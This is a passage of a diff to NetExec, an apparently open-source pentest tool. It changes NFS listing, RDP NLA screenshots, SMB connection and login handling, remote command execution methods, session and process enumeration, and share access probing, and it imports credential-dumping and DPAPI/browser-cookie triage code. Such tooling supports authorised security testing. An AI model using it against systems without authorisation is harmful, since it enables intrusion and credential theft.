item["name_attributes"]["attributes"]["uid"] + is_dir = "d" if item["name_attributes"]["attributes"]["type"] == 2 else "-" + read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"]) + perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}" + file_size = convert_size(item["name_attributes"]["attributes"]["size"]) + self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}") + + def format_directory(self, raw_directory): + """Convert the chained directory entries to a list of the entries""" + if "resfail" in raw_directory: + self.logger.debug("Insufficient Permissions, NFS returned 'resfail'") + return {} + items = [] + nextentry = raw_directory["resok"]["reply"]["entries"][0] + while nextentry: + entry = nextentry + nextentry = entry["nextentry"][0] if entry["nextentry"] else None + entry.pop("nextentry") + items.append(entry) + + # Sort by name to be linux-like + return sorted(items, key=lambda x: x["name"].decode()) + + def update_auth(self, file_handle): + """Update the UID and GID for the file handle""" + attrs = self.nfs3.getattr(file_handle, auth=self.auth) + self.logger.debug(f"Updating auth with UID: {attrs['attributes']['uid']} and GID: {attrs['attributes']['gid']}") + self.auth["uid"] = attrs["attributes"]["uid"] + self.auth["gid"] = attrs["attributes"]["gid"] + def convert_size(size_bytes): if size_bytes == 0: diff --git a/nxc/protocols/nfs/proto_args.py b/nxc/protocols/nfs/proto_args.py index 48b8e41f..744de3ce 100644 --- a/nxc/protocols/nfs/proto_args.py +++ b/nxc/protocols/nfs/proto_args.py @@ -1,11 +1,13 @@ def proto_args(parser, parents): nfs_parser = parser.add_parser("nfs", help="own stuff using NFS", parents=parents) nfs_parser.add_argument("--port", type=int, default=111, help="NFS portmapper port (default: %(default)s)") - nfs_parser.add_argument("--nfs-timeout", type=int, default=30, help="NFS connection timeout (default: %(default)ss)") + nfs_parser.add_argument("--nfs-timeout", type=int, default=5, help="NFS connection timeout (default: %(default)ss)") dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS") + dgroup.add_argument("--share", help="Specify a share, e.g. for --ls, --get-file, --put-file") dgroup.add_argument("--shares", action="store_true", help="List NFS shares") dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)") + dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /") dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file") dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file") diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 54595aeb..d9656694 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -22,6 +22,8 @@ from asyauth.common.credentials.kerberos import KerberosCredential from asyauth.common.constants import asyauthSecret from asysocks.unicomm.common.target import UniTarget, UniProto +from nxc.paths import NXC_PATH + class rdp(connection): def __init__(self, args, db, host): @@ -81,11 +83,6 @@ class rdp(connection): connection.__init__(self, args, db, host) - # def proto_flow(self): - # if self.create_conn_obj(): - # if self.login() or (self.username == '' and self.password == ''): - # if hasattr(self.args, 'module') and self.args.module: - def proto_logger(self): import platform if platform.python_version() in ["3.11.5", "3.11.6", "3.12.0"]: @@ -112,7 +109,6 @@ class rdp(connection): self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})") else: self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})") - return True def create_conn_obj(self): self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout) @@ -172,6 +168,7 @@ class rdp(connection): return True def check_nla(self): + self.logger.debug(f"Checking NLA for {self.host}") for proto in self.protoflags_nla: try: self.iosettings.supported_protocols = proto @@ -272,7 +269,7 @@ class rdp(connection): if word in str(e): reason = self.rdp_error_status[word] self.logger.fail( - (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {f'({reason})' if reason else str(e)}"), + (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"), ) elif "Authentication failed!" in str(e): @@ -287,7 +284,7 @@ class rdp(connection): if str(e) == "cannot unpack non-iterable NoneType object": reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {f'({reason})' if reason else ''}"), + (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -321,7 +318,7 @@ class rdp(connection): if str(e) == "cannot unpack non-iterable NoneType object": reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}:{process_secret(password)} {f'({reason})' if reason else ''}"), + (f"{domain}\\{username}:{process_secret(password)} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -356,7 +353,7 @@ class rdp(connection): reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}:{process_secret(ntlm_hash)} {f'({reason})' if reason else ''}"), + (f"{domain}\\{username}:{process_secret(ntlm_hash)} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -379,18 +376,25 @@ class rdp(connection): asyncio.run(self.screen()) async def nla_screen(self): - # Otherwise it crash - self.iosettings.supported_protocols = None self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS) - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) - await self.connect_rdp() - await asyncio.sleep(int(self.args.screentime)) - if self.conn is not None and self.conn.desktop_buffer_has_data is True: - buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser(f"~/.nxc/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") - buffer.save(filename, "png") - self.logger.highlight(f"NLA Screenshot saved {filename}") + for proto in self.protoflags_nla: + try: + self.iosettings.supported_protocols = proto + self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + + await self.connect_rdp() + except Exception as e: + self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}") + return + + await asyncio.sleep(int(self.args.screentime)) + if self.conn is not None and self.conn.desktop_buffer_has_data is True: + buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) + filename = os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + buffer.save(filename, "png") + self.logger.highlight(f"NLA Screenshot saved {filename}") + return def nla_screenshot(self): if not self.nla: diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index f404c305..dcbd77a3 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -13,8 +13,13 @@ from impacket.examples.secretsdump import ( LSASecrets, NTDSHashes, ) +from impacket.examples.regsecrets import ( + RemoteOperations as RegSecretsRemoteOperations, + SAMHashes as RegSecretsSAMHashes, + LSASecrets as RegSecretsLSASecrets +) from impacket.nmb import NetBIOSError, NetBIOSTimeout -from impacket.dcerpc.v5 import transport, lsat, lsad, scmr, rrp +from impacket.dcerpc.v5 import transport, lsat, lsad, scmr, rrp, srvs, wkst from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.transport import DCERPCTransportFactory, SMBTransport from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE @@ -28,12 +33,14 @@ from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE +from impacket.dcerpc.v5 import tsts as TSTS from nxc.config import process_secret, host_info_colors from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker from nxc.helpers.misc import gen_random_string, validate_ntlm from nxc.logger import NXCAdapter -from nxc.protocols.smb.firefox import FirefoxTriage +from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection +from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage from nxc.protocols.smb.kerberos import kerberos_login_with_S4U from nxc.servers.smb import NXCSMBServer from nxc.protocols.smb.wmiexec import WMIEXEC @@ -50,17 +57,12 @@ from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.powershell import create_ps_command from dploot.triage.vaults import VaultsTriage -from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken +from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie from dploot.triage.credentials import CredentialsTriage -from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -from dploot.triage.backupkey import BackupkeyTriage from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection -from dploot.triage.sccm import SCCMTriage +from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection -from pywerview.cli.helpers import get_localdisks, get_netsession, get_netgroupmember, get_netgroup, get_netcomputer, get_netloggedon, get_netlocalgroup - -from time import time +from time import time, ctime from datetime import datetime from functools import wraps from traceback import format_exc @@ -158,7 +160,9 @@ class smb(connection): self.remote_ops = None self.bootkey = None self.output_filename = None - self.smbv1 = None + self.smbv1 = None # Check if SMBv1 is supported + self.smbv3 = None # Check if SMBv3 is supported + self.is_timeouted = False self.signing = False self.smb_share_name = smb_share_name self.pvkbytes = None @@ -241,7 +245,7 @@ class smb(connection): self.hostname = self.host self.targetDomain = self.host - self.domain = self.targetDomain if not self.args.domain else self.args.domain + self.domain = self.targetDomain if self.args.domain is None else self.args.domain if self.args.local_auth: self.domain = self.hostname @@ -258,6 +262,10 @@ class smb(connection): except KeyError: self.logger.debug("Error getting server information...") + # Handle cases where server_os is returned as bytes, such as when accidentally scanning a machine running Responder + if isinstance(self.server_os.lower(), bytes): + self.server_os = self.server_os.decode("utf-8") + if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0: self.server_os = "Unix - Samba" elif self.server_os_build == 0 and self.os_arch == 0: @@ -266,9 +274,6 @@ class smb(connection): self.logger.extra["hostname"] = self.hostname - if isinstance(self.server_os.lower(), bytes): - self.server_os = self.server_os.decode("utf-8") - try: self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] except Exception as e: @@ -277,6 +282,16 @@ class smb(connection): self.os_arch = self.get_os_arch() self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")) + try: + # DCs seem to want us to logoff first, windows workstations sometimes reset the connection + self.conn.logoff() + except Exception as e: + self.logger.debug(f"Error logging off system: {e}") + + # Check smbv1 + if not self.args.no_smbv1: + self.smbv1 = self.create_smbv1_conn(check=True) + try: self.db.add_host( self.host, @@ -289,32 +304,64 @@ class smb(connection): except Exception as e: self.logger.debug(f"Error adding host {self.host} into db: {e!s}") - try: - # DCs seem to want us to logoff first, windows workstations sometimes reset the connection - self.conn.logoff() - except Exception as e: - self.logger.debug(f"Error logging off system: {e}") - # DCOM connection with kerberos needed - self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}" + self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}" - if not self.kdcHost and self.domain: + # using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain + if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") - # If we want to authenticate we should create another connection object, because we already logged in - if self.args.username or self.args.cred_id or self.kerberos or self.args.use_kcache: - self.create_conn_obj() - def print_host_info(self): signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"]) smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) - self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})") - return True + ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" + self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1}) {ntlm}") + + if self.args.generate_hosts_file or self.args.generate_krb5_file: + from impacket.dcerpc.v5 import nrpc, epm + self.logger.debug("Performing authentication attempts...") + isdc = False + try: + epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") + isdc = True + except DCERPCException: + self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!") + + if self.args.generate_hosts_file: + with open(self.args.generate_hosts_file, "a+") as host_file: + dc_part = f" {self.targetDomain}" if isdc else "" + host_file.write(f"{self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}\n") + self.logger.debug(f"{self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}") + elif self.args.generate_krb5_file and isdc: + with open(self.args.generate_krb5_file, "w+") as host_file: + data = f""" +[libdefaults] + dns_lookup_kdc = false + dns_lookup_realm = false + default_realm = {self.domain.upper()} + +[realms] + {self.domain.upper()} = {{ + kdc = {self.hostname.lower()}.{self.domain} + admin_server = {self.hostname.lower()}.{self.domain} + default_domain = {self.domain} + }} + +[domain_realm] + .{self.domain} = {self.domain.upper()} + {self.domain} = {self.domain.upper()} +""" + host_file.write(data) + self.logger.debug(data) + + return self.host, self.hostname, self.targetDomain def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.logger.debug(f"KDC set to: {kdcHost}") + # Re-connect since we logged off + self.create_conn_obj() lmhash = "" nthash = "" @@ -372,7 +419,6 @@ class smb(connection): if self.args.continue_on_success and self.signing: with contextlib.suppress(Exception): self.conn.logoff() - self.create_conn_obj() return True except SessionKeyDecryptionError: # success for now, since it's a vulnerability - previously was an error @@ -405,6 +451,7 @@ class smb(connection): def plaintext_login(self, domain, username, password): # Re-connect since we logged off + self.create_conn_obj() try: self.password = password self.username = username @@ -437,7 +484,6 @@ class smb(connection): if self.args.continue_on_success and self.signing: with contextlib.suppress(Exception): self.conn.logoff() - self.create_conn_obj() return True except SessionError as e: error, desc = e.getErrorString() @@ -450,15 +496,14 @@ class smb(connection): return False except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: self.logger.fail(f"Connection Error: {e}") - self.create_conn_obj() return False except BrokenPipeError: self.logger.fail("Broken Pipe Error while attempting to login") - self.create_conn_obj() return False def hash_login(self, domain, username, ntlm_hash): # Re-connect since we logged off + self.create_conn_obj() lmhash = "" nthash = "" try: @@ -501,7 +546,6 @@ class smb(connection): if self.args.continue_on_success and self.signing: with contextlib.suppress(Exception): self.conn.logoff() - self.create_conn_obj() return True except SessionError as e: error, desc = e.getErrorString() @@ -515,17 +559,15 @@ class smb(connection): return False except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: self.logger.fail(f"Connection Error: {e}") - self.create_conn_obj() return False except BrokenPipeError: self.logger.fail("Broken Pipe Error while attempting to login") - self.create_conn_obj() return False - def create_smbv1_conn(self): - self.logger.debug(f"Creating SMBv1 connection to {self.host}") + def create_smbv1_conn(self, check=False): + self.logger.info(f"Creating SMBv1 connection to {self.host}") try: - self.conn = SMBConnection( + conn = SMBConnection( self.remoteName, self.host, None, @@ -534,9 +576,19 @@ class smb(connection): timeout=self.args.smb_timeout, ) self.smbv1 = True + if not check: + self.conn = conn except OSError as e: - if str(e).find("Connection reset by peer") != -1: + if "Connection reset by peer" in str(e): self.logger.info(f"SMBv1 might be disabled on {self.host}") + elif "timed out" in str(e): + self.is_timeouted = True + self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}") + else: + self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}") + return False + except NetBIOSError: + self.logger.info(f"SMBv1 disabled on {self.host}") return False except (Exception, NetBIOSTimeout) as e: self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}") @@ -544,7 +596,7 @@ class smb(connection): return True def create_smbv3_conn(self): - self.logger.debug(f"Creating SMBv3 connection to {self.host}") + self.logger.info(f"Creating SMBv3 connection to {self.host}") try: self.conn = SMBConnection( self.remoteName, @@ -553,39 +605,35 @@ class smb(connection): self.port, timeout=self.args.smb_timeout, ) - self.smbv1 = False - except OSError as e: - # This should not happen anymore!!! - if str(e).find("Too many open files") != -1: - if not self.logger: - print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger)) - self.proto_logger() - self.logger.fail(f"SMBv3 connection error on {self.host}: {e}") - return False - except (Exception, NetBIOSTimeout) as e: - self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}") + self.smbv3 = True + except (Exception, NetBIOSTimeout, OSError) as e: + if "timed out" in str(e): + self.is_timeouted = True + self.logger.debug(f"Timeout creating SMBv3 connection to {self.host}") + else: + self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}") return False return True - def create_conn_obj(self, no_smbv1=False): + def create_conn_obj(self): """ Tries to create a connection object to the target host. - On first try, it will try to create a SMBv1 connection. + On first try, it will try to create a SMBv3 connection. On further tries, it will remember which SMB version is supported and create a connection object accordingly. :param no_smbv1: If True, it will not try to create a SMBv1 connection """ # Initial negotiation - if not no_smbv1 and self.smbv1 is None: - self.smbv1 = self.create_smbv1_conn() - if self.smbv1: + if self.smbv3 is None: + self.smbv3 = self.create_smbv3_conn() + if self.smbv3: return True - else: - return self.create_smbv3_conn() - elif not no_smbv1 and self.smbv1: - return self.create_smbv1_conn() - else: + elif not self.is_timeouted: + return self.create_smbv1_conn() + elif self.smbv3: return self.create_smbv3_conn() + else: + return self.create_smbv1_conn() def check_if_admin(self): self.logger.debug(f"Checking if user is admin on {self.host}") @@ -618,8 +666,21 @@ class smb(connection): relay_list.write(self.host + "\n") @requires_admin - def execute(self, payload=None, get_output=False, methods=None): - if self.args.exec_method: + def execute(self, payload=None, get_output=False, methods=None) -> str: + """ + Executes a command on the target host using CMD.exe and the specified method(s). + + Args: + ---- + payload (str): The command to execute + get_output (bool): Whether to get the output of the command (can be useful for AV evasion) + methods (list): The method(s) to use for command execution + + Returns: + ------- + str: The output of the command + """ + if getattr(self.args, "exec_method_explicitly_set", False): methods = [self.args.exec_method] if not methods: methods = ["wmiexec", "atexec", "smbexec", "mmcexec"] @@ -752,7 +813,7 @@ class smb(connection): if "This script contains malicious content" in output: self.logger.fail("Command execution blocked by AMSI") - return None + return "" if (self.args.execute or self.args.ps_execute): self.logger.success(f"Executed command via {current_method}") @@ -763,14 +824,29 @@ class smb(connection): return output else: self.logger.fail(f"Execute command failed with {current_method}") - return False + return "" @requires_admin - def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False): + def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False) -> list: + """ + Wrapper for executing a PowerShell command on the target host. This still uses the execute() method internally, but + creates a PowerShell command together with possible AMSI bypasses and other options. + + Args: + ---- + payload (str): The PowerShell command to execute OR the path to a file containing PowerShell commands + get_output (bool): Whether to get the output of the command (can be useful for AV evasion) + methods (list): The method(s) to use for command execution + force_ps32 (bool): Whether to force 32-bit PowerShell + + Returns: + ------- + list: A list containing the lines of the output of the command + """ payload = self.args.ps_execute if not payload and self.args.ps_execute else payload if not payload: self.logger.error("No command to execute specified!") - return None + return [] response = [] obfs = obfs if obfs else self.args.obfs @@ -792,16 +868,173 @@ class smb(connection): self.logger.debug(f"ps_execute response: {response}") return response + def get_session_list(self): + with TSTS.TermSrvEnumeration(self.conn, self.host, self.kerberos) as lsm: + handle = lsm.hRpcOpenEnum() + rsessions = lsm.hRpcGetEnumResult(handle, Level=1)["ppSessionEnumResult"] + lsm.hRpcCloseEnum(handle) + sessions = {} + for i in rsessions: + sess = i["SessionInfo"]["SessionEnum_Level1"] + state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess["State"]).split("_")[-1] + sessions[sess["SessionId"]] = { + "state": state, + "SessionName": sess["Name"], + "RemoteIp": "", + "ClientName": "", + "Username": "", + "Domain": "", + "Resolution": "", + "ClientTimeZone": "" + } + return sessions + + def enumerate_sessions_info(self, sessions): + if len(sessions): + with TSTS.TermSrvSession(self.conn, self.host, self.kerberos) as TermSrvSession: + for SessionId in sessions: + sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) + sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["SessionFlags"]) + sessions[SessionId]["flags"] = sessflags + domain = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DomainName"] + if not len(sessions[SessionId]["Domain"]) and len(domain): + sessions[SessionId]["Domain"] = domain + username = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["UserName"] + if not len(sessions[SessionId]["Username"]) and len(username): + sessions[SessionId]["Username"] = username + sessions[SessionId]["ConnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["ConnectTime"] + sessions[SessionId]["DisconnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DisconnectTime"] + sessions[SessionId]["LogonTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LogonTime"] + sessions[SessionId]["LastInputTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LastInputTime"] + with TSTS.RCMPublic(self.conn, self.host, self.kerberos) as rcm: + for SessionId in sessions: + try: + client = rcm.hRpcGetRemoteAddress(SessionId) + if not client: + continue + sessions[SessionId]["RemoteIp"] = client["pRemoteAddress"]["ipv4"]["in_addr"] + except Exception as e: + self.logger.debug(f"Error getting client address for session {SessionId}: {e}") + + @requires_admin + def qwinsta(self): + desktop_states = { + "WTS_SESSIONSTATE_UNKNOWN": "", + "WTS_SESSIONSTATE_LOCK": "Locked", + "WTS_SESSIONSTATE_UNLOCK": "Unlocked", + } + sessions = self.get_session_list() + if not len(sessions): + return + self.enumerate_sessions_info(sessions) + + maxSessionNameLen = max([len(sessions[i]["SessionName"]) + 1 for i in sessions]) + maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME") + 1 + maxUsernameLen = max([len(sessions[i]["Username"] + sessions[i]["Domain"]) + 1 for i in sessions]) + 1 + maxUsernameLen = maxUsernameLen if len("Username") < maxUsernameLen else len("Username") + 1 + maxIdLen = max([len(str(i)) for i in sessions]) + maxIdLen = maxIdLen if len("ID") < maxIdLen else len("ID") + 1 + maxStateLen = max([len(sessions[i]["state"]) + 1 for i in sessions]) + maxStateLen = maxStateLen if len("STATE") < maxStateLen else len("STATE") + 1 + maxRemoteIp = max([len(sessions[i]["RemoteIp"]) + 1 for i in sessions]) + maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress") + 1 + maxClientName = max([len(sessions[i]["ClientName"]) + 1 for i in sessions]) + maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName") + 1 + template = ("{SESSIONNAME: <%d} " + "{USERNAME: <%d} " + "{ID: <%d} " + "{IPv4: <16} " + "{STATE: <%d} " + "{DSTATE: <9} " + "{CONNTIME: <20} " + "{DISCTIME: <20} ") % (maxSessionNameLen, maxUsernameLen, maxIdLen, maxStateLen) + + result = [] + header = template.format( + SESSIONNAME="SESSIONNAME", + USERNAME="USERNAME", + ID="ID", + IPv4="IPv4 Address", + STATE="STATE", + DSTATE="Desktop", + CONNTIME="ConnectTime", + DISCTIME="DisconnectTime", + ) + + header2 = template.replace(" <", "=<").format( + SESSIONNAME="", + USERNAME="", + ID="", + IPv4="", + STATE="", + DSTATE="", + CONNTIME="", + DISCTIME="", + ) + result.extend((header, header2)) + + for i in sessions: + connectTime = sessions[i]["ConnectTime"] + connectTime = connectTime.strftime(r"%Y/%m/%d %H:%M:%S") if connectTime.year > 1601 else "None" + + disconnectTime = sessions[i]["DisconnectTime"] + disconnectTime = disconnectTime.strftime(r"%Y/%m/%d %H:%M:%S") if disconnectTime.year > 1601 else "None" + userName = sessions[i]["Domain"] + "\\" + sessions[i]["Username"] if len(sessions[i]["Username"]) else "" + + result.append(template.format( + SESSIONNAME=sessions[i]["SessionName"], + USERNAME=userName, + ID=i, + IPv4=sessions[i]["RemoteIp"], + STATE=sessions[i]["state"], + DSTATE=desktop_states[sessions[i]["flags"]], + CONNTIME=connectTime, + DISCTIME=disconnectTime, + )) + + self.logger.success("Enumerated qwinsta sessions") + for row in result: + self.logger.highlight(row) + + @requires_admin + def tasklist(self): + with TSTS.LegacyAPI(self.conn, self.host, self.kerberos) as legacy: + try: + handle = legacy.hRpcWinStationOpenServer() + res = legacy.hRpcWinStationGetAllProcesses(handle) + except Exception as e: + # TODO: Issue https://github.com/fortra/impacket/issues/1816 + self.logger.debug(f"Exception while calling hRpcWinStationGetAllProcesses: {e}") + return + if not res: + return + self.logger.success("Enumerated processes") + maxImageNameLen = max([len(i["ImageName"]) for i in res]) + maxSidLen = max([len(i["pSid"]) for i in res]) + template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen) + self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage")) + self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) + for procInfo in res: + row = template.format( + procInfo["ImageName"], + procInfo["UniqueProcessId"], + procInfo["SessionId"], + procInfo["pSid"], + "{:,} K".format(procInfo["WorkingSetSize"] // 1000), + ) + self.logger.highlight(row) + def shares(self): temp_dir = ntpath.normpath("\\" + gen_random_string()) temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt") permissions = [] + write_check = bool(not self.args.no_write_check) try: self.logger.debug(f"domain: {self.domain}") user_id = self.db.get_user(self.domain.upper(), self.username)[0][0] except IndexError as e: - if self.kerberos: + if self.kerberos or self.username == "": pass else: self.logger.fail(f"IndexError: {e!s}") @@ -842,11 +1075,18 @@ class smb(connection): except SessionError as e: error = get_error_string(e) self.logger.debug(f"Error checking READ access on share {share_name}: {error}") + except (NetBIOSError, UnicodeEncodeError) as e: + write_check = False + share_info["access"].append("UNKNOWN (try '--no-smbv1')") + error = get_error_string(e) + self.logger.debug(f"Error checking READ access on share {share_name}: {error}. This exception always caused by special character in share name with SMBv1") + self.logger.info(f"Skipping WRITE permission check on share {share_name}") - if not self.args.no_write_check: + if write_check: try: self.conn.createDirectory(share_name, temp_dir) write_dir = True + self.logger.debug(f"WRITE access with DIR creation on share: {share_name}") try: self.conn.deleteDirectory(share_name, temp_dir) except SessionError as e: @@ -857,13 +1097,14 @@ class smb(connection): self.logger.debug(f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}") except SessionError as e: error = get_error_string(e) - self.logger.debug(f"Error checking WRITE access on share {share_name}: {error}") + self.logger.debug(f"Error checking WRITE access with DIR creation on share {share_name}: {error}") try: tid = self.conn.connectTree(share_name) fid = self.conn.createFile(tid, temp_file, desiredAccess=FILE_SHARE_WRITE, shareMode=FILE_SHARE_DELETE) self.conn.closeFile(tid, fid) write_file = True + self.logger.debug(f"WRITE access with FILE creation on share: {share_name}") try: self.conn.deleteFile(share_name, temp_file) except SessionError as e: @@ -874,7 +1115,7 @@ class smb(connection): self.logger.debug(f"Error DELETING created temp file {temp_file} on share {share_name}") except SessionError as e: error = get_error_string(e) - self.logger.debug(f"Error checking WRITE access with file on share {share_name}: {error}") + self.logger.debug(f"Error checking WRITE access with FILE creation on share {share_name}: {error}") # If we either can create a file or a directory we add the write privs to the output. Agreed on in https://github.com/Pennyw0rth/NetExec/pull/404 if write_dir or write_file: @@ -903,6 +1144,27 @@ class smb(connection): self.logger.highlight(f"{name:<15} {','.join(perms):<15} {remark}") return permissions + def dir(self): # noqa: A003 + search_path = ntpath.join(self.args.dir, "*") + try: + contents = self.conn.listPath(self.args.share, search_path) + except SessionError as e: + error = get_error_string(e) + self.logger.fail( + f"Error enumerating '{search_path}': {error}", + color="magenta" if error in smb_error_status else "red", + ) + return + + if not contents: + return + + self.logger.highlight(f"{'Perms':<9}{'File Size':<15}{'Date':<30}{'File Path':<45}") + self.logger.highlight(f"{'-----':<9}{'---------':<15}{'----':<30}{'---------':<45}") + for content in contents: + full_path = ntpath.join(self.args.dir, content.get_longname()) + self.logger.highlight(f"{'d' if content.is_directory() else 'f'}{'rw-' if content.is_readonly() > 0 else 'r--':<8}{content.get_filesize():<15}{ctime(float(content.get_mtime_epoch())):<30}{full_path:<45}") + @requires_admin def interfaces(self): """ @@ -978,274 +1240,86 @@ class smb(connection): dc_ips.append(self.host) return dc_ips - def sessions(self): - try: - sessions = get_netsession( - self.host, - self.domain, - self.username, - self.password, - self.lmhash, - self.nthash, - ) - self.logger.display("Enumerated sessions") - for session in sessions: - if 